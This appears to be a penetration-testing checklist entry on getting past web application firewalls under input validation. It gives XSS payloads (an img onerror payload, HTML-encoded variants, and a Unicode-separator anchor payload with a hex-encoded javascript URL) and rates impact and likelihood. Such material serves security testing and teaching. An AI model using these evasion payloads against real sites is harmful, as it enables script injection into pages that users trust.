V5 - Validation/Sanitization

WAF Bypass

POC

Observe what payloads WAF blocks and HTML encode the payload to bypass WAF

Standard: "><img src=x onerror=confirm()>

Encoded: &quot;&gt;&lt;img src=x onerror=confirm&lpar;&rpar;&gt; (General form)

Encoded: &#34;&#62;&#60;img src=x onerror=confirm&#40;&#41;&#62; (Numeric reference)

For more techniques, please check:

https://github.com/0xInfection/Awesome-WAF#evasion-techniques

Note: This is a broad concept, above payload is just an example

Bypass WAF with Unicode Seperators

<a/onmouseover[\x0b]=location='\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3A\x61\x6C\x65\x72\x74\x28\x30\x29\x3B'>pwn3d

For more techniques, please check:

https://github.com/0xInfection/Awesome-WAF#evasion-techniques

Note: This is a broad concept, above payload is just an example

Impact

High-Medium

Likelihood

Medium-Low